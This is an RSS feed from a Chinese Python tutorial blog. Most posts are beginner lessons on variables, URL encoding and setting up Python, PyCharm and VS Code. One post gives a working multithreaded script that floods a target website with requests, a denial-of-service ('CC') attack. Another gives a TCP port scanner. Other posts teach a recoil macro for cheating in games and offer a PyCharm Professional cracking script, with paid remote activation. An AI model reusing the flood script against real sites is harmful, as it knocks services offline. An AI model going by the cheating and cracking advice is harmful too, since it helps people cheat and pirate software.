<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>python &#8211; from0to1</title>
	<atom:link href="https://www.from0to1.top/tag/python/feed" rel="self" type="application/rss+xml" />
	<link>https://www.from0to1.top</link>
	<description>一个研究技术、分享经验的博客</description>
	<lastBuildDate>Tue, 21 Nov 2023 15:24:42 +0000</lastBuildDate>
	<language>zh-Hans</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>
	<item>
		<title>用python写一个基础压枪宏</title>
		<link>https://www.from0to1.top/250.html</link>
					<comments>https://www.from0to1.top/250.html#respond</comments>
		
		<dc:creator><![CDATA[雾朦Official]]></dc:creator>
		<pubDate>Tue, 21 Nov 2023 15:17:32 +0000</pubDate>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[游戏科技]]></category>
		<category><![CDATA[鼠标宏]]></category>
		<guid isPermaLink="false">https://www.from0to1.top/?p=250</guid>

					<description><![CDATA[首先要引用pyautogui，这个模块是控制鼠标动作的 import pyautogui 如果你的pyautogui模块没有安装则可以通过在终端运行pip命令安装 pip install pyautogui 然后再引用time模块，这个可以更好控制鼠标的动作时间 import time 首先是moveTo函数，这个函数是将鼠标移动到目标位置，用法如下，x，y都是像素 x=11 y=22 pyaut [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>首先要引用pyautogui，这个模块是控制鼠标动作的</p>
<pre class="prettyprint linenums">import pyautogui</pre>
<p>如果你的pyautogui模块没有安装则可以通过在终端运行pip命令安装</p>
<pre class="prettyprint linenums">pip install pyautogui</pre>
<p>然后再引用time模块，这个可以更好控制鼠标的动作时间</p>
<pre class="prettyprint linenums">import time</pre>
<p>首先是moveTo函数，这个函数是将鼠标移动到目标位置，用法如下，x，y都是像素</p>
<pre class="prettyprint linenums">
x=11
y=22
pyautogui.moveTo(x, y)</pre>
<p>这段代码的一丝就是将鼠标移动到电脑屏幕上（11，22）这个点</p>
<p>当然，我们鼠标如果只是可以移动这是不行的，我们还需要有点击的功能，更好得帮我们攻击敌人（如压连狙，连续点击会让自己分心）</p>
<p>左键单击</p>
<pre class="prettyprint linenums">pyautogui.click(button=&#039;left&#039;)</pre>
<p>右键单击</p>
<pre class="prettyprint linenums">pyautogui.click(button=&#039;right&#039;)</pre>
<p>左键右键同时单击</p>
<pre class="prettyprint linenums">pyautogui.click(button=&#039;left,right&#039;)</pre>
<p>下面是dragTo，这个函数就比较有意思了</p>
<p>将鼠标从当前位置开始，移动到（1，2），并按住鼠标左键，拖动速度为3，步长为4</p>
<pre class="prettyprint linenums">
x = 1
y = 2
z = 3
w = 4
pyautogui.dragTo(x, y, button=&#039;left&#039;, duration=z, steps=w)</pre>
<p>接下来是time模块的使用</p>
<p>首先是sleep函数的用法，可以让程序睡眠一段时间</p>
<p>如，程序睡眠三秒</p>
<pre class="prettyprint linenums">time.sleep(3)</pre>
<p>以及，获取程序的运行时间x</p>
<pre class="prettyprint linenums">

代码1

start_time = time.perf_counter()

代码2

end_time = time.perf_counter()

x = end_time - start_time

</pre>
<p>如果你能灵活运用以上几个函数，那么，你就可以自己写出一个压枪宏了，当然，这个过程非常麻烦</p>
<p>end</p>
<p>奶妈镇楼</p>
<p><img fetchpriority="high" decoding="async" src="https://www.from0to1.top/wp-content/uploads/2023/11/xinxia_mode.webp" alt="" class="alignnone size-full wp-image-251" srcset="https://www.from0to1.top/wp-content/uploads/2023/11/xinxia_mode.webp 1113w, https://www.from0to1.top/wp-content/uploads/2023/11/xinxia_mode-209x300.webp 209w, https://www.from0to1.top/wp-content/uploads/2023/11/xinxia_mode-712x1024.webp 712w, https://www.from0to1.top/wp-content/uploads/2023/11/xinxia_mode-768x1104.webp 768w, https://www.from0to1.top/wp-content/uploads/2023/11/xinxia_mode-1068x1536.webp 1068w" sizes="(max-width: 1113px) 100vw, 1113px" /></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.from0to1.top/250.html/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>利用python对网站进行cc攻击</title>
		<link>https://www.from0to1.top/166.html</link>
					<comments>https://www.from0to1.top/166.html#respond</comments>
		
		<dc:creator><![CDATA[雾朦Official]]></dc:creator>
		<pubDate>Fri, 20 Oct 2023 12:10:34 +0000</pubDate>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[网络攻击]]></category>
		<guid isPermaLink="false">https://www.from0to1.top/?p=166</guid>

					<description><![CDATA[cc攻击需要向目标服务器发送大量的请求 为了让我们能够在更短的时间内发送更多的请求我们需要用到多线程 首先我们需要导入requests库，即在终端中输入下载指令 pip install requests 导入模块requests和threading import requests import threading 定义变量url url = &#039;目标&#039; 设置并发数量 num_re [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>cc攻击需要向目标服务器发送大量的请求</p>
<p>为了让我们能够在更短的时间内发送更多的请求我们需要用到多线程</p>
<p>首先我们需要导入<span style="font-family: Consolas, Monaco, monospace;">requests库，即在终端中输入下载指令</span></p>
<pre class="prettyprint linenums">pip install requests</pre>
<p>导入模块<span style="font-family: Consolas, Monaco, monospace;">requests和</span><span style="font-family: Consolas, Monaco, monospace;">threading</span></p>
<pre class="prettyprint linenums">import requests
import threading</pre>
<p>定义变量url</p>
<pre class="prettyprint linenums">url = &#039;目标&#039;</pre>
<div>
<p>设置并发数量</p>
<pre class="prettyprint linenums">num_requests = 并发数量</pre>
</div>
<p>创建一个发送请求并可以判断请求状态的函数</p>
<pre class="prettyprint linenums">def send_request():
    try:
        response = requests.get(url)
        print(&#039;Start code:&#039;, response.status_code)
    except Exception as e:
        print(&#039;Error:&#039;, e)</pre>
<p>创建线程</p>
<pre class="prettyprint linenums">threads = []</pre>
<p>启动线程</p>
<pre class="prettyprint linenums">for i in range(num_requests):
    t = threading.Thread(target=send_request)
    t.start()
    threads.append(t)</pre>
<p>等待所有线程完成</p>
<pre class="prettyprint linenums">for t in threads:
    t.join()</pre>
<p>结束后打印完成</p>
<pre class="prettyprint linenums">print(&#039;finish&#039;)</pre>
<p>&nbsp;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.from0to1.top/166.html/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>利用python实现对目标ip进行端口扫描</title>
		<link>https://www.from0to1.top/228.html</link>
					<comments>https://www.from0to1.top/228.html#respond</comments>
		
		<dc:creator><![CDATA[雾朦Official]]></dc:creator>
		<pubDate>Sun, 01 Oct 2023 16:48:52 +0000</pubDate>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[扫描器]]></category>
		<category><![CDATA[服务器]]></category>
		<category><![CDATA[网站]]></category>
		<guid isPermaLink="false">https://www.from0to1.top/?p=228</guid>

					<description><![CDATA[先放完整代码 import socket IP = input(&#34;请输入目标IP&#34;) start = int(input(&#34;请输入起始端口&#34;)) end = int(input(&#34;请输入结束端口&#34;)) + 1 for port in range(start, end): sock = socket.socket(socket.AF_INE [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>先放完整代码</p>
<pre class="prettyprint linenums">import socket

IP = input(&quot;请输入目标IP&quot;)
start = int(input(&quot;请输入起始端口&quot;))
end = int(input(&quot;请输入结束端口&quot;)) + 1

for port in range(start, end):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(2)
    try:
        result = sock.connect_ex((IP, port))
        if result == 0:
            print(IP,&quot;:{}已放开&quot;.format(port))
            sock.close()
    except Exception as e:
        pass
</pre>
<div class="link-title wow rollIn">思路</div>
<p>导入socket模块</p>
<pre class="prettyprint linenums">import socket</pre>
<p>获取使用者输入的IP，起始端口，终止端口信息，超时时限并用四个变量分别接收，终止端口后面加一方便使用后面的range循环</p>
<pre class="prettyprint linenums">IP = input(&quot;请输入目标IP&quot;)
start = int(input(&quot;请输入起始端口&quot;))
end = int(input(&quot;请输入结束端口&quot;)) + 1
s = int(input(&quot;请输入超时时限(秒)&quot;))</pre>
<p>开始循环端口号</p>
<pre class="prettyprint linenums">for port in range(start, end):</pre>
<p>创建套接字对象</p>
<pre class="prettyprint linenums">    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</pre>
<p>设置超时时限并导入使用者的输入值</p>
<pre class="prettyprint linenums">    sock.settimeout(s)</pre>
<p>因为我们不一定能成功扫到对方的某个端口，故用try语句并尝试与目标端口进行连接</p>
<pre class="prettyprint linenums">    try:
        result = sock.connect_ex((IP, port))</pre>
<p>加入if语句，如果连接成功，打印ip＋端口号，然后关闭套接字对象</p>
<pre class="prettyprint linenums">        if result == 0:
            print(IP,&quot;:{}已放开&quot;.format(port))
            sock.close()</pre>
<p>如果连接失败，则直接开始下一次循环</p>
<pre class="prettyprint linenums">    except Exception as e:
        pass</pre>
]]></content:encoded>
					
					<wfw:commentRss>https://www.from0to1.top/228.html/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>利用python实现url编码和解码</title>
		<link>https://www.from0to1.top/224.html</link>
					<comments>https://www.from0to1.top/224.html#respond</comments>
		
		<dc:creator><![CDATA[雾朦Official]]></dc:creator>
		<pubDate>Sun, 01 Oct 2023 15:47:30 +0000</pubDate>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[编码解码]]></category>
		<guid isPermaLink="false">https://www.from0to1.top/?p=224</guid>

					<description><![CDATA[先看完整代码 import urllib.parse a = 0 while a not in [&#34;1&#34;, &#34;2&#34;]: a = input(&#34;请重新输入，url编码请按1，url解码请按下2&#34;) if a == &#34;1&#34;: b = input(&#34;输入你所要编码的字符&#34;) print(urllib.pa [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>先看完整代码</p>
<pre class="prettyprint linenums">import urllib.parse

a = 0
while a not in [&quot;1&quot;, &quot;2&quot;]:
    a = input(&quot;请重新输入，url编码请按1，url解码请按下2&quot;)

if a == &quot;1&quot;:
    b = input(&quot;输入你所要编码的字符&quot;)
    print(urllib.parse.quote(b))
else:
    b = input(&quot;请输入你所要解码的字符&quot;)
    print(urllib.parse.unquote(b))</pre>
<div class="link-title wow rollIn">思路</div>
<p>调用urllib.parse库</p>
<pre class="prettyprint linenums">import urllib.parse</pre>
<p>给a变量一个初始值，然后让使用者选择编码和解码，whlile循环让使用者输入的a的值只能是字符1或者2，否则就会一直循环</p>
<pre class="prettyprint linenums">while a not in [&quot;1&quot;, &quot;2&quot;]:
    a = input(&quot;请重新输入，url编码请按1，url解码请按下2&quot;)</pre>
<p>if判断使用者是需要编码操作还是解码操作，获得用户输入的值后用urllib.parse.unquote()或urllib.parse.quote()函数进行解码或编码操作</p>
<pre class="prettyprint linenums">if a == &quot;1&quot;:
    b = input(&quot;输入你所要编码的字符&quot;)
    print(urllib.parse.quote(b))
else:
    b = input(&quot;请输入你所要解码的字符&quot;)
    print(urllib.parse.unquote(b))</pre>
]]></content:encoded>
					
					<wfw:commentRss>https://www.from0to1.top/224.html/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>从0开始的python之旅——变量和数据类型</title>
		<link>https://www.from0to1.top/207.html</link>
					<comments>https://www.from0to1.top/207.html#respond</comments>
		
		<dc:creator><![CDATA[雾朦Official]]></dc:creator>
		<pubDate>Fri, 29 Sep 2023 08:37:37 +0000</pubDate>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://www.from0to1.top/?p=207</guid>

					<description><![CDATA[变量是什么 变量，这词字面上的意思是可以改变的量，python中的变量就是在程序运行时，能储存计算结果或能表示值的东西，任何一个符合变量命名规则的变量都可以被赋为任何值。 简单来说，变量是个箱子，什么都可以往里装 变量的定义格式 变量名称=变量的值 即将后面的值赋给前面的变量，例如 a = 1 print(a) 我们可以看到，print这个函数打印出来了1，这说明，1这个值被赋给了前面的变量a 同 [&#8230;]]]></description>
										<content:encoded><![CDATA[<div class="link-title wow rollIn">变量是什么</div>
<p>变量，这词字面上的意思是可以改变的量，python中的变量就是在程序运行时，能储存计算结果或能表示值的东西，任何一个符合变量命名规则的变量都可以被赋为任何值。</p>
<p>简单来说，变量是个箱子，什么都可以往里装</p>
<div class="link-title wow rollIn">变量的定义格式</div>
<p><span style="color: #ff0000;">变量名称</span>=<span style="color: #3366ff;">变量的值</span></p>
<p>即将后面的值赋给前面的变量，例如</p>
<pre class="prettyprint linenums">a = 1
print(a)</pre>
<p>我们可以看到，print这个函数打印出来了1，这说明，1这个值被赋给了前面的变量a</p>
<p>同理变量可以赋值给变量，如</p>
<pre class="prettyprint linenums">a = 1
b = 2
a = b
print(a,b)</pre>
<p>运行结果为22，a变量的值被b变量的值取代，当然也可以用以下代码将a，b变量都赋值为c</p>
<pre class="prettyprint linenums">a = 1
b = 2
c = 3
a = b = c
print(a,b,c)</pre>
<p>运行结果为333</p>
<p>我们还可以用a,b=b,a对变量a和b的值交换,如</p>
<pre class="prettyprint linenums">a = 1
b = 2
a,b = b,a
print(a,b)
</pre>
<p>运行结果为21，a和b两个变量的值被对调</p>
<div class="link-title wow rollIn">变量的命名规范</div>
<p>变量名只能包含字母，数字，下划线，而且变量名不能以数字开头。</p>
<p>变量名不能与函数名一致，否则会发生冲突，如下面这一段代码</p>
<pre class="prettyprint linenums">print = 1
print(2)</pre>
<p>代码执行后就会发现如下报错提示【TypeError: &#8216;int&#8217; object is not callable】，当我们输入下面这行代码时会出现同样的报错提示</p>
<pre class="prettyprint linenums">1(2)</pre>
<p>这说明print这个函数赋值为1会导致print这个函数失去原有的意义</p>
<div class="link-title wow rollIn">python中的数据类型有哪些</div>
<p>python中的数据有整数型，浮点数型，字符型，布尔型，复数型，列表型，字典型，元组型，集合型</p>
<div class="link-title wow rollIn">判断数据类型</div>
<p>在python中type()这个函数可以判断数据类型，如</p>
<pre class="prettyprint linenums">a = 1
b = &#039;1&#039;
c = 1.0
d = [1]
e = (1,)
print(type(a), type(b), type(c), type(d), type(d), type(e))</pre>
<p>运行结果为<class 'int'> <class 'str'> <class 'float'> <class 'list'> <class 'list'> <class 'tuple'></p>
<div class="link-title wow rollIn">整数型</div>
<p>整数（int）就是没有小数点的数，可以进行数学运算</p>
<div class="link-title wow rollIn">浮点数型</div>
<p>浮点数（float）就是小数，可以进行数学运算</p>
<div class="link-title wow rollIn">布尔型</div>
<p>布尔（bool）只有True和False两种，多用于比较运算</p>
<div class="link-title wow rollIn">复数型</div>
<p>复数complex与数学中的复数相同，有实部和虚部，表示方法为</p>
<pre class="prettyprint linenums">complex(实数,虚数)</pre>
<div class="link-title wow rollIn">字符型</div>
<p>字符（str）即用引号引起来的数据（&#8221; &#8221; 、&#8217; &#8216; 、&#8221;&#8217; &#8221;&#8217;或者&#8221;&#8221;&#8221; &#8220;&#8221;&#8221;），可以进行字符运算</p>
<div class="link-title wow rollIn">列表型</div>
<p>列表(List)可以存储多个数据，用[]括起来，不同数据间用逗号隔开，如</p>
<pre class="prettyprint linenums">a = [1, 2, 3]</pre>
<div class="link-title wow rollIn">字典型</div>
<p>字典（dict）可以存储多对数据，用{}括起来，不同对数据用逗号隔开，格式为键（key）：值（value）</p>
<p>key不能重复，不能改变</p>
<p>value可以为任何类型的数据</p>
<p>如：</p>
<pre class="prettyprint linenums">a = {&#039;key1&#039;: 1, &#039;key2&#039;: 2, &#039;key3&#039;: 3}</pre>
<div class="link-title wow rollIn">集合型</div>
<p>集合（set）集合可以存储多个不重复的数据，用{}括起来，不同数据用逗号隔开，如</p>
<p>a = {1, 2, 3}</p>
<div class="link-title wow rollIn">元组型</div>
<p>元组（tuple）可以存储任意的多个数据，数据不可以被删改，不同数据间用逗号隔开，如</p>
<p>a = (1, 2, 3)</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.from0to1.top/207.html/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>从0开始的python之旅——python的安装，内含pycharm激活脚本</title>
		<link>https://www.from0to1.top/192.html</link>
					<comments>https://www.from0to1.top/192.html#respond</comments>
		
		<dc:creator><![CDATA[雾朦Official]]></dc:creator>
		<pubDate>Fri, 29 Sep 2023 05:11:53 +0000</pubDate>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[pycharm]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://www.from0to1.top/?p=192</guid>

					<description><![CDATA[python是一门较易学习的的编程语言，本篇文章讲解python解释器和编译器的安装 安装python解释器 首先进入python官网 然后下载一个适合自己电脑系统的版本 下载完成后双击安装，在安装界面勾选[Add Python x.xx to PATH]，之后一直点击下一步即可（x.xx即为你所安装的版本） 如果出现路径长度提示，点击[Disable path length limit]即可 接 [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>python是一门较易学习的的编程语言，本篇文章讲解python解释器和编译器的安装</p>
<div class="link-title wow rollIn">安装python解释器</div>
<p>首先进入<a class="links_btn" href="https://www.python.org/" target="_blank" rel="noopener">python官网</a></p>
<p>然后下载一个适合自己电脑系统的版本</p>
<p>下载完成后双击安装，在安装界面勾选[Add Python x.xx to PATH]，之后一直点击下一步即可（x.xx即为你所安装的版本）</p>
<p>如果出现路径长度提示，点击[Disable path length limit]即可</p>
<p>接下来我们需要打开cmd输入以下指令检查python解释器是否正常安装</p>
<pre class="prettyprint linenums">python
python --version
where python</pre>
<p>这三行代码分别用于检查python是否能正常启动，python版本，python安装位置</p>
<p>如果这三句指令的返回结果正常，那么你已经完成了，python解释器的安装</p>
<p>如果指令结果返回不正常，很可能是因为你在安装时没有勾选添加python的环境变量或者python未正确帮你配置环境变量，需要重新安装或者重新配置环境变量</p>
<div class="link-title wow rollIn">配置python环境变量</div>
<p>首先右键[此电脑]（或[我的电脑]），然后点击[属性]，再点击[高级系统设置]</p>
<p>双击【系统变量】下面的[Path]变量，点击[新建]，在下面添加两行内容</p>
<p>第一行为【python.exe】文件的绝对路径，第二行为【pip.exe】文件的绝对路径</p>
<p><img decoding="async" class="alignnone size-full wp-image-193" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-112943.png" alt="" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-112943.png 1125w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-112943-300x169.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-112943-1024x577.png 1024w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-112943-768x433.png 768w" sizes="(max-width: 1125px) 100vw, 1125px" /></p>
<p><img decoding="async" class="alignnone size-full wp-image-194" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-112953.png" alt="" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-112953.png 1125w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-112953-300x169.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-112953-1024x577.png 1024w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-112953-768x433.png 768w" sizes="(max-width: 1125px) 100vw, 1125px" /></p>
<p>配置完成后的结果如图所示（由于python安装位置的不同和安装版本不同会有区别）</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-195" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-114308.png" alt="" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-114308.png 512w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-114308-300x53.png 300w" sizes="auto, (max-width: 1125px) 100vw, 1125px" /></p>
<p>环境变量配置完成后一直点击[确定]</p>
<p>接下来重新测试这三句指令，看看返回结果是否正常</p>
<pre class="prettyprint linenums">python
python --version
where python</pre>
<p>如果这三句指令的返回结果正常，那么你已经完成了，python解释器的安装</p>
<div class="link-title wow rollIn">安装python编译器</div>
<p>本篇教程以更适合新手的解释器pycharm安装为例，如果想看vscode上的python环境配置教程<a class="links_btn" href="https://www.from0to1.top/181.html" target="_blank" rel="noopener">请点这里</a></p>
<p>pycharm有专业版和社区版两个版本，专业版功能更多但是需要付费，社区版虽然功能较少但是免费，专业版激活脚本在文章末尾获取</p>
<p><a class="download_btn" title="https://www.jetbrains.com/pycharm/download/download-thanks.html?platform=windows" href="https://www.jetbrains.com/pycharm/download/download-thanks.html?platform=windows" target="_blank" rel="noopener" data-bs-toggle="tooltip" data-bs-placement="top">pycharm专业版下载</a></p>
<p><a class="download_btn" title="https://www.jetbrains.com/pycharm/download/download-thanks.html?platform=windows&amp;code=PCC" href="https://www.jetbrains.com/pycharm/download/download-thanks.html?platform=windows&amp;code=PCC" target="_blank" rel="noopener" data-bs-toggle="tooltip" data-bs-placement="top">pycharm社区版下载</a></p>
<p>下载完成后双击安装，一直点击[下一步]出现勾选框时勾选所有勾选框，安装完成后电脑会自动重启，重启完成后再次打开软件即可</p>
<p>这是我们进入pycharm会发现界面为全英文，这对于一些人来说并不友好，所以我们需要对pycharm进行汉化</p>
<p>点击[Plugins]，然后在搜索栏中输入【chinese】，点击图标为【汉】的插件旁边的[Install]</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-197" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-123248.png" alt="" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-123248.png 786w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-123248-300x245.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-123248-768x628.png 768w" sizes="auto, (max-width: 786px) 100vw, 786px" /></p>
<p>安装完成后在点击[Restart IDE]重启软件，等软件重启完成后，pycharm的汉化也就完成了</p>
<div class="link-title wow rollIn">创建python项目</div>
<p>点右上角的[新建项目]</p>
<p>选择项目所在位置</p>
<p>选择解释器版本</p>
<p>取消创建欢迎脚本</p>
<p>最后点击[创建]</p>
<p><img loading="lazy" decoding="async" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-124627.png" alt="" class="alignnone size-full wp-image-198" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-124627.png 786w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-124627-300x245.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-124627-768x628.png 768w" sizes="auto, (max-width: 786px) 100vw, 786px" /></p>
<p>进入文件夹后右键点击主目录（不要在venv目录下创建文件，一定要选中主目录）</p>
<p>点击[新建]再点击[Python文件]</p>
<p><img loading="lazy" decoding="async" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-125413.png" alt="" class="alignnone size-full wp-image-199" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-125413.png 1386w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-125413-300x213.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-125413-1024x728.png 1024w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-125413-768x546.png 768w" sizes="auto, (max-width: 1386px) 100vw, 1386px" /></p>
<p>为你创建的python文件命名，命名完成后回车即可完成创建</p>
<p><img loading="lazy" decoding="async" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-125901.png" alt="" class="alignnone size-full wp-image-200" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-125901.png 330w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-125901-300x135.png 300w" sizes="auto, (max-width: 330px) 100vw, 330px" /></p>
<p>这样我们就创建好了一个python文件</p>
<p>我们可以输入一行简单的代码，点击[运行]并查看运行结果</p>
<pre class="prettyprint linenums">print(&#039;HELLO WORLD&#039;)</pre>
<p><img loading="lazy" decoding="async" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-130623.png" alt="" class="alignnone size-full wp-image-201" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-130623.png 1386w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-130623-300x213.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-130623-1024x728.png 1024w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-29-130623-768x546.png 768w" sizes="auto, (max-width: 1386px) 100vw, 1386px" /></p>
<p>本期教程到此结束，pycharm专业版激活脚本如下</p>
<div class="link-title wow rollIn">pycharm专业版激活脚本</div>
<p>在文章底部下载完激活脚本后对文件进行解压</p>
<p>使用前先打开你锁要激活的软件，然后再关闭软件</p>
<p>最后双击对应软件的激活脚本即可</p>
<p>有问题的留言QQ号或者微信号，10块钱即可远程帮你激活</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.from0to1.top/192.html/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>安装vscode并配置python，go的开发环境</title>
		<link>https://www.from0to1.top/181.html</link>
					<comments>https://www.from0to1.top/181.html#respond</comments>
		
		<dc:creator><![CDATA[雾朦Official]]></dc:creator>
		<pubDate>Tue, 26 Sep 2023 14:27:33 +0000</pubDate>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[vscode]]></category>
		<guid isPermaLink="false">https://www.from0to1.top/?p=181</guid>

					<description><![CDATA[安装vscode 进入vscode官网Visual Studio Code 下载符合自己电脑的版本 点击【同意此协议】再点击【下一步】 选择你想要的安装位置 把【创建快捷方式】【添加到PATH】【将 Code 注册为受支持的文件类型的编辑器】【将*通过 Code 11外操作添加到 Windows 资源管理器文件上下文某单】【将”通过 Code打开”操作添加到 Windows 资源管理器目录上下文菜 [&#8230;]]]></description>
										<content:encoded><![CDATA[<div class="link-title wow rollIn">安装vscode</div>
<p>进入vscode官网<a class="links_btn" href="https://code.visualstudio.com/#powerful-debugging" target="_blank" rel="noopener">Visual Studio Code</a></p>
<p>下载符合自己电脑的版本</p>
<p>点击【同意此协议】再点击【下一步】</p>
<p>选择你想要的安装位置</p>
<p>把【创建快捷方式】【添加到PATH】【将 Code 注册为受支持的文件类型的编辑器】【将*通过 Code 11外操作添加到 Windows 资源管理器文件上下文某单】【将”通过 Code打开”操作添加到 Windows 资源管理器目录上下文菜单】这几项全部勾选，完成后点击【下一步】</p>
<p>点击【完成】</p>
<p>这样我们虽然安装完了vscode，但是纯英文的界面对我们来说可能并不友好，这时我们就需要对vscode添加汉化插件</p>
<p>点击插件栏，然后在搜索框中输入chinese，点击第一个插件旁边的install</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-182" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-211049.png" alt="" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-211049.png 1024w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-211049-300x225.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-211049-768x576.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></p>
<p>安装完成后点击右下角弹窗中的【Change Language and Restart】等待软件重启</p>
<p>重启完成后我们就得到了中文的界面，接下来我们就开始配置开发环境</p>
<div class="link-title wow rollIn">配置Python开发环境</div>
<p>点击插件栏，在搜索框中输入python，点击第一个插件旁边的安装按钮</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-184" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-212945-1.png" alt="" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-212945-1.png 1024w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-212945-1-300x225.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-212945-1-768x576.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></p>
<p>我们在任意位置新建一个文件夹，然后用vscode打开</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-185" src="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-220805.png" alt="" srcset="https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-220805.png 1024w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-220805-300x225.png 300w, https://www.from0to1.top/wp-content/uploads/2023/09/屏幕截图-2023-09-26-220805-768x576.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></p>
<p>点击新建文件</p>
